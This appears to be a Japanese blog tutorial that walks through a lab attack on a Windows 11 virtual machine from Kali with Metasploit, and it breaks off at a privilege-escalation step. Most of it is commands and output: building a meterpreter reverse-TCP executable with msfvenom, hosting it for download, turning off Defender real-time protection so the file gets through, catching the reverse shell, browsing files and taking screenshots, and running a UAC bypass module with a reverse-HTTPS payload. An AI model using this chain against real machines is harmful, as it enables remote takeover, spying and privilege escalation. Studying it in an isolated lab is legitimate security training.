<p>Metasploitは、ネットワークに接続されているコンピュータシステムに対し、実際に侵入を試みることでシステムに脆弱性がないかどうか検証するために使用されるツールです。</p>
<!-- /wp:paragraph -->

<!-- wp:paragraph -->
<p>ここでは、次の流れでハッキングの実験を行います。</p>
<!-- /wp:paragraph -->

<!-- wp:list {"ordered":true} -->
<ol><li>Kali上で実験用の「悪意のあるプログラム」を作成する</li><li>上記1のプログラムをWindows 11にコピーする</li><li>Kaliでリバースシェルを待ち受ける</li><li>Windows 11サイドから、1のプログラムを実行しKaliに接続する</li><li>KaliからWindows 11を制御する</li></ol>
<!-- /wp:list -->

<!-- wp:heading {"level":4} -->
<h4>リバースシェルのペイロードを作成するには</h4>
<!-- /wp:heading -->

<!-- wp:paragraph -->
<p>ペイロードとは、ここでは悪意のあるプログラムのことです。あくまでも実験的に作成するという趣旨です。Windows 11は64bit版しかないので、64bitのペイロードを作成します。Kali端末から以下のコマンドを実行します。</p>
<!-- /wp:paragraph -->

<!-- wp:heading {"level":5} -->
<h5>Windows 11を操る「あやしい」プログラムをKaliで作成しよう</h5>
<!-- /wp:heading -->

<!-- wp:paragraph -->
<p>Kali上のTerminalから以下のコマンドを実行します。</p>
<!-- /wp:paragraph -->

<!-- wp:enlighter/codeblock -->
<pre class="EnlighterJSRAW" data-enlighter-language="generic" data-enlighter-theme="" data-enlighter-highlight="" data-enlighter-linenumbers="" data-enlighter-lineoffset="" data-enlighter-title="" data-enlighter-group="">msfconsole</pre>
<!-- /wp:enlighter/codeblock -->

<!-- wp:paragraph -->
<p>アスキーアートやメッセージが表示された後、以下のプロンプトが表示されます。</p>
<!-- /wp:paragraph -->

<!-- wp:enlighter/codeblock -->
<pre class="EnlighterJSRAW" data-enlighter-language="generic" data-enlighter-theme="" data-enlighter-highlight="" data-enlighter-linenumbers="" data-enlighter-lineoffset="" data-enlighter-title="" data-enlighter-group="">msf6 > </pre>
<!-- /wp:enlighter/codeblock -->

<!-- wp:paragraph -->
<p>次に、searchコマンドで「ペイロード」かつ「TCP対応リバースシェル」かつ「Windows対応」のモジュールを検索します。</p>
<!-- /wp:paragraph -->

<!-- wp:enlighter/codeblock -->
<pre class="EnlighterJSRAW" data-enlighter-language="generic" data-enlighter-theme="" data-enlighter-highlight="" data-enlighter-linenumbers="" data-enlighter-lineoffset="" data-enlighter-title="" data-enlighter-group="">msf6 > search type:payload reverse_tcp platform:windows</pre>
<!-- /wp:enlighter/codeblock -->

<!-- wp:paragraph -->
<p>今回の検索結果では146行出力されました。ここでは、115行目の以下のモジュールを使用します。</p>
<!-- /wp:paragraph -->

<!-- wp:enlighter/codeblock -->
<pre class="EnlighterJSRAW" data-enlighter-language="generic" data-enlighter-theme="" data-enlighter-highlight="" data-enlighter-linenumbers="" data-enlighter-lineoffset="" data-enlighter-title="" data-enlighter-group="">115  payload/windows/x64/meterpreter/reverse_tcp                                              normal  No     Windows Meterpreter (Reflective Injection x64), Windows x64 Reverse TCP Stager</pre>
<!-- /wp:enlighter/codeblock -->

<!-- wp:paragraph -->
<p>上記検索結果の、"payload/windows/x64/meterpreter/reverse_tcp"の部分が「パス」と呼ばれ、ペイロードを作成するときに使用されます。</p>
<!-- /wp:paragraph -->

<!-- wp:paragraph -->
<p>次に下記を実行してペイロードを作成します。<br>"msf6 &gt;"のプロンプトから、あるいはシェルから直接でも実行可能です。</p>
<!-- /wp:paragraph -->

<!-- wp:enlighter/codeblock -->
<pre class="EnlighterJSRAW" data-enlighter-language="generic" data-enlighter-theme="" data-enlighter-highlight="" data-enlighter-linenumbers="" data-enlighter-lineoffset="" data-enlighter-title="" data-enlighter-group="">msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.56.103 -f exe -o $HOME/evel2.exe</pre>
<!-- /wp:enlighter/codeblock -->

<!-- wp:paragraph -->
<p>ここで、オプションの意味は以下の通りです。</p>
<!-- /wp:paragraph -->

<!-- wp:table -->
<figure class="wp-block-table"><table><tbody><tr><td>-p</td><td>searchコマンドで検索したペイロードを作成するためのパス</td></tr><tr><td>LHOST=</td><td>ペイロードからの接続先（ここではKaliのIPアドレスを指定）</td></tr><tr><td>-f</td><td>出力する実行ファイルの形式</td></tr><tr><td>-o</td><td>ペイロードの保存先（ここではKaliのホームディレクトリを指定）とファイル名（evil2.exe）</td></tr></tbody></table></figure>
<!-- /wp:table -->

<!-- wp:paragraph -->
<p>実行結果は下の図です。</p>
<!-- /wp:paragraph -->

<!-- wp:image {"id":2574,"sizeSlug":"full","linkDestination":"none"} -->
<figure class="wp-block-image size-full"><img src="https://daimaohsx.dip.jp/wordpress/wp-content/uploads/2022/05/2022-05-29_11h52_44.png" alt="" class="wp-image-2574"/></figure>
<!-- /wp:image -->

<!-- wp:heading {"level":5} -->
<h5>ペイロードをKaliからWindowsにコピーするには</h5>
<!-- /wp:heading -->

<!-- wp:paragraph -->
<p>KaliでWebサーバを立てて、Kaliで作成したペイロードをWindows 11からダウンロードできるようにします。</p>
<!-- /wp:paragraph -->

<!-- wp:paragraph -->
<p>ここまでで、一連のWindows 7のハッキングを実施してきた方は、共有ディレクトリにペイロードをコピーしてWEBサーバを再起動します。</p>
<!-- /wp:paragraph -->

<!-- wp:enlighter/codeblock -->
<pre class="EnlighterJSRAW" data-enlighter-language="generic" data-enlighter-theme="" data-enlighter-highlight="" data-enlighter-linenumbers="" data-enlighter-lineoffset="" data-enlighter-title="" data-enlighter-group="">cp ~kali/evil2.exe /var/www/html/share
service apache2 restart
</pre>
<!-- /wp:enlighter/codeblock -->

<!-- wp:paragraph -->
<p>Windows 11から始めた方は、共有ディレクトリを作成し、Webサーバを起動します。<br>まず、管理者権限を持つスーパーユーザになります。</p>
<!-- /wp:paragraph -->

<!-- wp:enlighter/codeblock -->
<pre class="EnlighterJSRAW" data-enlighter-language="generic" data-enlighter-theme="" data-enlighter-highlight="" data-enlighter-linenumbers="" data-enlighter-lineoffset="" data-enlighter-title="" data-enlighter-group="">sudo -s     #スーパーユーザに移行する</pre>
<!-- /wp:enlighter/codeblock -->

<!-- wp:paragraph -->
<p>/var/www/html/shareに共有ディレクトリを作成し、evil2.exeをコピーします。</p>
<!-- /wp:paragraph -->

<!-- wp:enlighter/codeblock -->
<pre class="EnlighterJSRAW" data-enlighter-language="generic" data-enlighter-theme="" data-enlighter-highlight="" data-enlighter-linenumbers="" data-enlighter-lineoffset="" data-enlighter-title="" data-enlighter-group="">cd /var/www/html  
mkdir share
cp ~kali/evil2.exe share
chmod -R 755 share     
</pre>
<!-- /wp:enlighter/codeblock -->

<!-- wp:paragraph -->
<p>Webサーバ（Apache2）を起動して、共有ディレクトリにあるevil2.exeをダウンロードできるようにします。</p>
<!-- /wp:paragraph -->

<!-- wp:enlighter/codeblock -->
<pre class="EnlighterJSRAW" data-enlighter-language="generic" data-enlighter-theme="" data-enlighter-highlight="" data-enlighter-linenumbers="" data-enlighter-lineoffset="" data-enlighter-title="" data-enlighter-group="">systemctl start apache2
systemctl status apache2    # Apacheが正常に起動されたか確認
</pre>
<!-- /wp:enlighter/codeblock -->

<!-- wp:paragraph -->
<p>Windows 11のEdge（ブラウザ）から"http://192.168.56.103/share/"にアクセスします。<br>下のように、Kali上の"evil2.exe"が参照できました。<br>クリックしてダウンロードします。</p>
<!-- /wp:paragraph -->

<!-- wp:image {"id":2577,"width":565,"height":415,"sizeSlug":"full","linkDestination":"none"} -->
<figure class="wp-block-image size-full is-resized"><img src="https://daimaohsx.dip.jp/wordpress/wp-content/uploads/2022/05/2022-05-29_15h19_42.png" alt="" class="wp-image-2577" width="565" height="415"/></figure>
<!-- /wp:image -->

<!-- wp:paragraph -->
<p>Edgeの上部右に下図が表示されるので、[…]をクリックします。</p>
<!-- /wp:paragraph -->

<!-- wp:image {"id":2580,"sizeSlug":"full","linkDestination":"none"} -->
<figure class="wp-block-image size-full"><img src="https://daimaohsx.dip.jp/wordpress/wp-content/uploads/2022/05/2022-05-29_15h21_06-1.png" alt="" class="wp-image-2580"/></figure>
<!-- /wp:image -->

<!-- wp:paragraph -->
<p>メニューの[保存]をクリックします。</p>
<!-- /wp:paragraph -->

<!-- wp:image {"id":2581,"sizeSlug":"full","linkDestination":"none"} -->
<figure class="wp-block-image size-full"><img src="https://daimaohsx.dip.jp/wordpress/wp-content/uploads/2022/05/2022-05-29_15h22_01.png" alt="" class="wp-image-2581"/></figure>
<!-- /wp:image -->

<!-- wp:paragraph -->
<p>[詳細表示]をクリックします。</p>
<!-- /wp:paragraph -->

<!-- wp:image {"id":2582,"sizeSlug":"full","linkDestination":"none"} -->
<figure class="wp-block-image size-full"><img src="https://daimaohsx.dip.jp/wordpress/wp-content/uploads/2022/05/2022-05-29_15h22_28.png" alt="" class="wp-image-2582"/></figure>
<!-- /wp:image -->

<!-- wp:paragraph -->
<p>[保持する]をクリックします。</p>
<!-- /wp:paragraph -->

<!-- wp:image {"id":2583,"sizeSlug":"full","linkDestination":"none"} -->
<figure class="wp-block-image size-full"><img src="https://daimaohsx.dip.jp/wordpress/wp-content/uploads/2022/05/2022-05-29_15h22_43.png" alt="" class="wp-image-2583"/></figure>
<!-- /wp:image -->

<!-- wp:paragraph -->
<p>次のメッセージが表示されれば、ダウンロード成功です。エクスプローラで「ダウンロード」フォルダを確認します。</p>
<!-- /wp:paragraph -->

<!-- wp:image {"id":2585,"sizeSlug":"full","linkDestination":"none"} -->
<figure class="wp-block-image size-full"><img src="https://daimaohsx.dip.jp/wordpress/wp-content/uploads/2022/05/2022-05-29_15h44_44.png" alt="" class="wp-image-2585"/></figure>
<!-- /wp:image -->

<!-- wp:heading {"level":5} -->
<h5>「ウイルスが検出されました」と表示された場合には</h5>
<!-- /wp:heading -->

<!-- wp:paragraph -->
<p>下図のように、「ウイルスが検出されました」と表示されてしまった場合、ダウンロードが行われていません。その場合の対処方法を説明します。</p>
<!-- /wp:paragraph -->

<!-- wp:image {"id":2584,"sizeSlug":"full","linkDestination":"none"} -->
<figure class="wp-block-image size-full"><img src="https://daimaohsx.dip.jp/wordpress/wp-content/uploads/2022/05/2022-05-29_15h22_57.png" alt="" class="wp-image-2584"/></figure>
<!-- /wp:image -->

<!-- wp:paragraph -->
<p>Windowsキー（田）を押して、"vir"と入力します。検索結果に「ウイルスと驚異の防止」が表示されるでしょう。クリックします。</p>
<!-- /wp:paragraph -->

<!-- wp:image {"id":2587,"sizeSlug":"full","linkDestination":"none"} -->
<figure class="wp-block-image size-full"><img src="https://daimaohsx.dip.jp/wordpress/wp-content/uploads/2022/05/2022-05-29_16h09_50-1.png" alt="" class="wp-image-2587"/></figure>
<!-- /wp:image -->

<!-- wp:paragraph -->
<p>「ウイルスと驚異の防止の設定」にある[設定の管理]リンクをクリックします。</p>
<!-- /wp:paragraph -->

<!-- wp:image {"id":2588,"sizeSlug":"full","linkDestination":"none"} -->
<figure class="wp-block-image size-full"><img src="https://daimaohsx.dip.jp/wordpress/wp-content/uploads/2022/05/2022-05-29_16h11_52.png" alt="" class="wp-image-2588"/></figure>
<!-- /wp:image -->

<!-- wp:paragraph -->
<p>「リアルタイム保護」のスイッチを「オフ」にします。</p>
<!-- /wp:paragraph -->

<!-- wp:image {"id":2589,"sizeSlug":"full","linkDestination":"none"} -->
<figure class="wp-block-image size-full"><img src="https://daimaohsx.dip.jp/wordpress/wp-content/uploads/2022/05/2022-05-29_16h13_35.png" alt="" class="wp-image-2589"/></figure>
<!-- /wp:image -->

<!-- wp:paragraph -->
<p>このスイッチを「オフ」にしても、再起動などのタイミングで「オン」に戻るようです。</p>
<!-- /wp:paragraph -->

<!-- wp:paragraph -->
<p>リアルタイム保護をオフにしたうえで、再度ダウンロードを行うと、以下の通り表示されます。ダウンロード成功です。エクスプローラで「ダウンロード」フォルダを確認します。</p>
<!-- /wp:paragraph -->

<!-- wp:image {"id":2585,"sizeSlug":"full","linkDestination":"none"} -->
<figure class="wp-block-image size-full"><img src="https://daimaohsx.dip.jp/wordpress/wp-content/uploads/2022/05/2022-05-29_15h44_44.png" alt="" class="wp-image-2585"/></figure>
<!-- /wp:image -->

<!-- wp:heading {"level":5} -->
<h5>Windows 11からの接続を待ち受けるには</h5>
<!-- /wp:heading -->

<!-- wp:paragraph -->
<p>KaliのTerminalからmsfconsoleを起動します。以降の図では、コマンド実行時のプロンプトと出力結果も示します。</p>
<!-- /wp:paragraph -->

<!-- wp:enlighter/codeblock -->
<pre class="EnlighterJSRAW" data-enlighter-language="generic" data-enlighter-theme="" data-enlighter-highlight="" data-enlighter-linenumbers="" data-enlighter-lineoffset="" data-enlighter-title="" data-enlighter-group="">$ msfconsole
　＜アスキーアートなどが表示されます＞
</pre>
<!-- /wp:enlighter/codeblock -->

<!-- wp:paragraph -->
<p>次のコマンドを実行します。</p>
<!-- /wp:paragraph -->

<!-- wp:enlighter/codeblock -->
<pre class="EnlighterJSRAW" data-enlighter-language="generic" data-enlighter-theme="" data-enlighter-highlight="" data-enlighter-linenumbers="" data-enlighter-lineoffset="" data-enlighter-title="" data-enlighter-group="">msf6 > use exploit/multi/handler
[*] Using configured payload generic/shell_reverse_tcp</pre>
<!-- /wp:enlighter/codeblock -->

<!-- wp:paragraph -->
<p>続いて下のように、プロンプト（"msf6 exploit(multi/handler) &gt; "）が表示されるので、setサブコマンドで以下を実行します。</p>
<!-- /wp:paragraph -->

<!-- wp:group -->
<div class="wp-block-group"><!-- wp:columns -->
<div class="wp-block-columns"><!-- wp:column {"width":"100%"} -->
<div class="wp-block-column" style="flex-basis:100%"><!-- wp:enlighter/codeblock -->
<pre class="EnlighterJSRAW" data-enlighter-language="generic" data-enlighter-theme="" data-enlighter-highlight="" data-enlighter-linenumbers="" data-enlighter-lineoffset="" data-enlighter-title="" data-enlighter-group="">msf6 exploit(multi/handler) > set payload windows/x64/meterpreter/reverse_tcp
payload => windows/x64/meterpreter/reverse_tcp
</pre>
<!-- /wp:enlighter/codeblock --></div>
<!-- /wp:column --></div>
<!-- /wp:columns --></div>
<!-- /wp:group -->

<!-- wp:paragraph -->
<p>次もsetコマンドで、"LHOST"にKaliのIPアドレスを設定します。</p>
<!-- /wp:paragraph -->

<!-- wp:enlighter/codeblock -->
<pre class="EnlighterJSRAW" data-enlighter-language="generic" data-enlighter-theme="" data-enlighter-highlight="" data-enlighter-linenumbers="" data-enlighter-lineoffset="" data-enlighter-title="" data-enlighter-group="">msf6 exploit(multi/handler) > set LHOST 192.168.56.103
LHOST => 192.168.56.103</pre>
<!-- /wp:enlighter/codeblock -->

<!-- wp:paragraph -->
<p>続いてexploitコマンドをバックグラウンドジョブとして実行します。</p>
<!-- /wp:paragraph -->

<!-- wp:enlighter/codeblock -->
<pre class="EnlighterJSRAW" data-enlighter-language="generic" data-enlighter-theme="" data-enlighter-highlight="" data-enlighter-linenumbers="" data-enlighter-lineoffset="" data-enlighter-title="" data-enlighter-group="">msf6 exploit(multi/handler) > exploit -j -z
[*] Exploit running as background job 0.
[*] Exploit completed, but no session was created.
msf6 exploit(multi/handler) > 
[*] Started reverse TCP handler on 192.168.56.103:4444 
</pre>
<!-- /wp:enlighter/codeblock -->

<!-- wp:paragraph -->
<p>実行結果では、exploitコマンドがバックグラウンドで実行されたので、プロンプトが帰っています。そのあとで、meterpreterセッションの待ち受けが4444ポートで始まった際のメッセージが表示されています。</p>
<!-- /wp:paragraph -->

<!-- wp:image {"id":2591,"sizeSlug":"full","linkDestination":"none"} -->
<figure class="wp-block-image size-full"><img src="https://daimaohsx.dip.jp/wordpress/wp-content/uploads/2022/05/2022-05-29_17h38_12.png" alt="" class="wp-image-2591"/></figure>
<!-- /wp:image -->

<!-- wp:heading {"level":4} -->
<h4>KaliからWindows 11の操作を行うには</h4>
<!-- /wp:heading -->

<!-- wp:paragraph -->
<p>ここからは、KaliとWindows 11それぞれの仮想環境を表示したウインドウを、並べて操作できるようにしておくと分かりやすいと思います。<br>まず、Windows 11の仮想マシンに移ります。<br>エクスプローラの「ダウンロード」フォルダにある"evil2.exe"のアイコンをダブルクリックして起動します。</p>
<!-- /wp:paragraph -->

<!-- wp:image {"id":2592,"sizeSlug":"full","linkDestination":"none"} -->
<figure class="wp-block-image size-full"><img src="https://daimaohsx.dip.jp/wordpress/wp-content/uploads/2022/05/2022-05-29_17h52_43.png" alt="" class="wp-image-2592"/></figure>
<!-- /wp:image -->

<!-- wp:paragraph -->
<p>次の画面が表示された場合は、[詳細情報]をクリックします。</p>
<!-- /wp:paragraph -->

<!-- wp:image {"id":2605,"sizeSlug":"full","linkDestination":"none"} -->
<figure class="wp-block-image size-full"><img src="https://daimaohsx.dip.jp/wordpress/wp-content/uploads/2022/06/2022-06-05_16h17_45-1.png" alt="" class="wp-image-2605"/></figure>
<!-- /wp:image -->

<!-- wp:paragraph -->
<p>[実行]ボタンが表示されるので、クリックします。</p>
<!-- /wp:paragraph -->

<!-- wp:image {"id":2606,"sizeSlug":"full","linkDestination":"none"} -->
<figure class="wp-block-image size-full"><img src="https://daimaohsx.dip.jp/wordpress/wp-content/uploads/2022/06/2022-06-05_16h21_01.png" alt="" class="wp-image-2606"/></figure>
<!-- /wp:image -->

<!-- wp:paragraph -->
<p>Kali側のTerminalでは次のメッセージが表示されます。KaliとWindows 11とのセッションが確立されました。</p>
<!-- /wp:paragraph -->

<!-- wp:image {"id":2593,"sizeSlug":"full","linkDestination":"none"} -->
<figure class="wp-block-image size-full"><img src="https://daimaohsx.dip.jp/wordpress/wp-content/uploads/2022/05/2022-05-29_17h55_36.png" alt="" class="wp-image-2593"/></figure>
<!-- /wp:image -->

<!-- wp:paragraph -->
<p>セッションの一覧を表示します。</p>
<!-- /wp:paragraph -->

<!-- wp:enlighter/codeblock -->
<pre class="EnlighterJSRAW" data-enlighter-language="generic" data-enlighter-theme="" data-enlighter-highlight="" data-enlighter-linenumbers="" data-enlighter-lineoffset="" data-enlighter-title="" data-enlighter-group="">sessions -i</pre>
<!-- /wp:enlighter/codeblock -->

<!-- wp:paragraph -->
<p>実行結果は以下です。セッションIDは１です。</p>
<!-- /wp:paragraph -->

<!-- wp:image {"id":2594,"sizeSlug":"full","linkDestination":"none"} -->
<figure class="wp-block-image size-full"><img src="https://daimaohsx.dip.jp/wordpress/wp-content/uploads/2022/05/2022-05-29_18h00_18.png" alt="" class="wp-image-2594"/></figure>
<!-- /wp:image -->

<!-- wp:paragraph -->
<p>それではWindows 11の操作をKaliから行います。</p>
<!-- /wp:paragraph -->

<!-- wp:enlighter/codeblock -->
<pre class="EnlighterJSRAW" data-enlighter-language="generic" data-enlighter-theme="" data-enlighter-highlight="" data-enlighter-linenumbers="" data-enlighter-lineoffset="" data-enlighter-title="" data-enlighter-group="">msf6 exploit(multi/handler) > sessions -i 1
[*] Starting interaction with 1...
meterpreter ></pre>
<!-- /wp:enlighter/codeblock -->

<!-- wp:paragraph -->
<p>カレントフォルダを表示します。<br>Downloadsにあるファイルが表示されました。</p>
<!-- /wp:paragraph -->

<!-- wp:enlighter/codeblock -->
<pre class="EnlighterJSRAW" data-enlighter-language="generic" data-enlighter-theme="" data-enlighter-highlight="" data-enlighter-linenumbers="" data-enlighter-lineoffset="" data-enlighter-title="" data-enlighter-group="">meterpreter > pwd
C:\Users\win\Downloads
meterpreter > ls
Listing: C:\Users\win\Downloads
===============================

Mode              Size  Type  Last modified              Name
----              ----  ----  -------------              ----
100666/rw-rw-rw-  282   fil   2022-05-26 11:25:17 +0900  desktop.ini
100777/rwxrwxrwx  7168  fil   2022-05-29 16:17:48 +0900  evel2.exe
</pre>
<!-- /wp:enlighter/codeblock -->

<!-- wp:paragraph -->
<p>Windows 11側で「ダウンロード」フォルダに"password.txt"というファイルを作成します。この状態でKali側から次のコマンドを実行します。</p>
<!-- /wp:paragraph -->

<!-- wp:enlighter/codeblock -->
<pre class="EnlighterJSRAW" data-enlighter-language="generic" data-enlighter-theme="" data-enlighter-highlight="" data-enlighter-linenumbers="" data-enlighter-lineoffset="" data-enlighter-title="" data-enlighter-group="">meterpreter > ls -la pa*
Listing: pa*
============

Mode              Size  Type  Last modified              Name
----              ----  ----  -------------              ----
100666/rw-rw-rw-  0     fil   2022-05-29 18:11:16 +0900  password.txt
</pre>
<!-- /wp:enlighter/codeblock -->

<!-- wp:paragraph -->
<p>password.txtが見えるようになっていることがわかります。</p>
<!-- /wp:paragraph -->

<!-- wp:heading {"level":5} -->
<h5>KaliからWindows 11のスクリーンショットをとるには</h5>
<!-- /wp:heading -->

<!-- wp:paragraph -->
<p>screenshotコマンドで、ターゲット端末上の画面を撮影してみます。ファイル名はランダムに命名されるようです。</p>
<!-- /wp:paragraph -->

<!-- wp:enlighter/codeblock -->
<pre class="EnlighterJSRAW" data-enlighter-language="generic" data-enlighter-theme="" data-enlighter-highlight="" data-enlighter-linenumbers="" data-enlighter-lineoffset="" data-enlighter-title="" data-enlighter-group="">meterpreter > screenshot
Screenshot saved to: /home/kali/cdjCdSwM.jpeg
</pre>
<!-- /wp:enlighter/codeblock -->

<!-- wp:paragraph -->
<p>Kaliのファイルマネージャでホームディレクトリを表示し、スクリーンショットのJpegファイルをダブルクリックします。</p>
<!-- /wp:paragraph -->

<!-- wp:image {"id":2596,"sizeSlug":"full","linkDestination":"none"} -->
<figure class="wp-block-image size-full"><img src="https://daimaohsx.dip.jp/wordpress/wp-content/uploads/2022/05/2022-05-29_18h24_28.png" alt="" class="wp-image-2596"/></figure>
<!-- /wp:image -->

<!-- wp:paragraph -->
<p>KaliからWindows 11の画面が丸見えです。</p>
<!-- /wp:paragraph -->

<!-- wp:image {"id":2597,"sizeSlug":"full","linkDestination":"none"} -->
<figure class="wp-block-image size-full"><img src="https://daimaohsx.dip.jp/wordpress/wp-content/uploads/2022/05/2022-05-29_18h27_03.jpg" alt="" class="wp-image-2597"/></figure>
<!-- /wp:image -->

<!-- wp:heading {"level":5} -->
<h5>管理者権限を奪取するには</h5>
<!-- /wp:heading -->

<!-- wp:paragraph -->
<p>ここで、Windowsのアクセス制御機能を迂回するモジュールを探します。<br>まず、meterpreterをバックグラウンドに投入します。</p>
<!-- /wp:paragraph -->

<!-- wp:enlighter/codeblock -->
<pre class="EnlighterJSRAW" data-enlighter-language="generic" data-enlighter-theme="" data-enlighter-highlight="" data-enlighter-linenumbers="" data-enlighter-lineoffset="" data-enlighter-title="" data-enlighter-group="">meterpreter > bg
[*] Backgrounding session 1...</pre>
<!-- /wp:enlighter/codeblock -->

<!-- wp:paragraph -->
<p>UACを迂回する「モジュール」を探します。</p>
<!-- /wp:paragraph -->

<!-- wp:enlighter/codeblock -->
<pre class="EnlighterJSRAW" data-enlighter-language="generic" data-enlighter-theme="" data-enlighter-highlight="" data-enlighter-linenumbers="" data-enlighter-lineoffset="" data-enlighter-title="" data-enlighter-group="">msf6 exploit(multi/handler) > search bypassuac

Matching Modules
================

   #   Name                                                   Disclosure Date  Rank       Check  Description
   -   ----                                                   ---------------  ----       -----  -----------
   0   exploit/windows/local/bypassuac_windows_store_filesys  2019-08-22       manual     Yes    Windows 10 UAC Protection Bypass Via Windows Store (WSReset.exe)
   1   exploit/windows/local/bypassuac_windows_store_reg      2019-02-19       manual     Yes    Windows 10 UAC Protection Bypass Via Windows Store (WSReset.exe) and Registry
   2   exploit/windows/local/bypassuac                        2010-12-31       excellent  No     Windows Escalate UAC Protection Bypass
   3   exploit/windows/local/bypassuac_injection              2010-12-31       excellent  No     Windows Escalate UAC Protection Bypass (In Memory Injection)
   4   exploit/windows/local/bypassuac_injection_winsxs       2017-04-06       excellent  No     Windows Escalate UAC Protection Bypass (In Memory Injection) abusing WinSXS
   5   exploit/windows/local/bypassuac_vbs                    2015-08-22       excellent  No     Windows Escalate UAC Protection Bypass (ScriptHost Vulnerability)
   6   exploit/windows/local/bypassuac_comhijack              1900-01-01       excellent  Yes    Windows Escalate UAC Protection Bypass (Via COM Handler Hijack)
   7   exploit/windows/local/bypassuac_eventvwr               2016-08-15       excellent  Yes    Windows Escalate UAC Protection Bypass (Via Eventvwr Registry Key)
   8   exploit/windows/local/bypassuac_sdclt                  2017-03-17       excellent  Yes    Windows Escalate UAC Protection Bypass (Via Shell Open Registry Key)
   9   exploit/windows/local/bypassuac_silentcleanup          2019-02-24       excellent  No     Windows Escalate UAC Protection Bypass (Via SilentCleanup)
   10  exploit/windows/local/bypassuac_dotnet_profiler        2017-03-17       excellent  Yes    Windows Escalate UAC Protection Bypass (Via dot net profiler)
   11  exploit/windows/local/bypassuac_fodhelper              2017-05-12       excellent  Yes    Windows UAC Protection Bypass (Via FodHelper Registry Key)
   12  exploit/windows/local/bypassuac_sluihijack             2018-01-15       excellent  Yes    Windows UAC Protection Bypass (Via Slui File Handler Hijack)


Interact with a module by name or index. For example info 12, use 12 or use exploit/windows/local/bypassuac_sluihijack                </pre>
<!-- /wp:enlighter/codeblock -->

<!-- wp:paragraph -->
<p>書籍では「Rankがexcellentかつ日時が新しい」モジュールが推奨されています。ここでは、Rankがmanualですが、日付が最も新しいモジュールを選択してみました。</p>
<!-- /wp:paragraph -->

<!-- wp:enlighter/codeblock -->
<pre class="EnlighterJSRAW" data-enlighter-language="generic" data-enlighter-theme="" data-enlighter-highlight="" data-enlighter-linenumbers="" data-enlighter-lineoffset="" data-enlighter-title="" data-enlighter-group="">msf6 exploit(multi/handler) > use exploit/windows/local/bypassuac_windows_store_filesys
[*] Using configured payload windows/x64/meterpreter/reverse_tcp </pre>
<!-- /wp:enlighter/codeblock -->

<!-- wp:paragraph -->
<p>show targetsコマンドを実行してみます。</p>
<!-- /wp:paragraph -->

<!-- wp:enlighter/codeblock -->
<pre class="EnlighterJSRAW" data-enlighter-language="generic" data-enlighter-theme="" data-enlighter-highlight="" data-enlighter-linenumbers="" data-enlighter-lineoffset="" data-enlighter-title="" data-enlighter-group="">msf6 exploit(windows/local/bypassuac_windows_store_filesys) > show targets

Exploit targets:

   Id  Name
   --  ----
   0   Automatic
</pre>
<!-- /wp:enlighter/codeblock -->

<!-- wp:paragraph -->
<p>以下、４つのsetコマンドを実行します。</p>
<!-- /wp:paragraph -->

<!-- wp:enlighter/codeblock -->
<pre class="EnlighterJSRAW" data-enlighter-language="generic" data-enlighter-theme="" data-enlighter-highlight="" data-enlighter-linenumbers="" data-enlighter-lineoffset="" data-enlighter-title="" data-enlighter-group="">msf6 exploit(windows/local/bypassuac_windows_store_filesys) > set TARGET 0
TARGET => 0
msf6 exploit(windows/local/bypassuac_windows_store_filesys) > set SESSION 1
SESSION => 1
msf6 exploit(windows/local/bypassuac_windows_store_filesys) > set payload windows/x64/meterpreter/reverse_https
payload => windows/x64/meterpreter/reverse_https
msf6 exploit(windows/local/bypassuac_windows_store_filesys) > set LHOST 192.168.56.103
LHOST => 192.168.56.103
</pre>
<!-- /wp:enlighter/codeblock -->

<!-- wp:paragraph -->
<p>show optionsで確認しましょう。</p>
<!-- /wp:paragraph -->

<!-- wp:enlighter/codeblock -->
<pre class="EnlighterJSRAW" data-enlighter-language="generic" data-enlighter-theme="" data-enlighter-highlight="" data-enlighter-linenumbers="" data-enlighter-lineoffset="" data-enlighter-title="" data-enlighter-group="">msf6 exploit(windows/local/bypassuac_windows_store_filesys) > show options

Module options (exploit/windows/local/bypassuac_windows_store_filesys):

   Name     Current Setting  Required  Description
   ----     ---------------  --------  -----------
   SESSION  1                yes       The session to run this module on


Payload options (windows/x64/meterpreter/reverse_https):

   Name      Current Setting  Required  Description
   ----      ---------------  --------  -----------
   EXITFUNC  process          yes       Exit technique (Accepted: '', seh, thread, process, none)
   LHOST     192.168.56.103   yes       The local listener hostname
   LPORT     8443             yes       The local listener port
   LURI                       no        The HTTP Path


Exploit target:

   Id  Name
   --  ----
   0   Automatic
</pre>
<!-- /wp:enlighter/codeblock -->

<!-- wp:paragraph -->
<p>次にexploitコマンドを実行します。<br>meterpreterプロンプトが帰れば成功ですが、はたして？<br>ちょっとドキドキする瞬間です。</p>
<!-- /wp:paragraph -->

<!-- wp:enlighter/codeblock -->
<pre class="EnlighterJSRAW" data-enlighter-language="generic" data-enlighter-theme="" data-enlighter-highlight="" data-enlighter-linenumbers="" data-enlighter-lineoffset="" data-enlighter-title="" data-enlighter-group="">msf6 exploit(windows/local/bypassuac_windows_store_filesys) > exploit

[*] Started HTTPS reverse handler on https://192.168.56.103:8443
[*] UAC is Enabled, checking level...
[+] Part of Administrators group! Continuing...
[+] UAC is set to Default
[+] BypassUAC can bypass this setting, continuing...
[*] Creating directory 'C:\Windows \'...
[*] Creating directory 'C:\Windows \System32\'...
[*] Creating payload 'C:\Windows \System32\propsys.dll'...
[*] Executing WSReset.exe...
[!] This exploit requires manual cleanup of the 'C:\Windows \' and 'C:\Windows \System32\' directories!
[!] https://192.168.56.103:8443 handling request from 192.168.56.101; (UUID: qeggored) Without a database connected that payload UUID tracking will not work!
[*] https://192.168.56.103:8443 handling request from 192.168.56.101; (UUID: qeggored) Staging x64 payload (201820 bytes) ...
[!] https://192.168.56.103:8443 handling request from 192.168.56.101; (UUID: qeggored) Without a database connected that payload UUID tracking will not work!
[*] Meterpreter session 2 opened (192.168.56.103:8443 -> 127.0.0.1) at 2022-06-04 16:14:54 +0900

meterpreter > </pre>
<!-- /wp:enlighter/codeblock -->

<!-- wp:paragraph -->
<p>プロンプトが帰りました！成功です。<br>現在の権限を表示します。</p>
<!-- /wp:paragraph -->

<!-- wp:enlighter/codeblock -->
<pre class="EnlighterJSRAW" data-enlighter-language="generic" data-enlighter-theme="" data-enlighter-highlight="" data-enlighter-linenumbers="" data-enlighter-lineoffset="" data-enlighter-title="" data-enlighter-group="">meterpreter > getuid
Server username: w11-vb\win
</pre>
<!-- /wp:enlighter/codeblock -->

<!-- wp:paragraph -->
<p>権限奪取を試みてみます。</p>
<!-- /wp:paragraph -->

<!-- wp:enlighter/codeblock -->
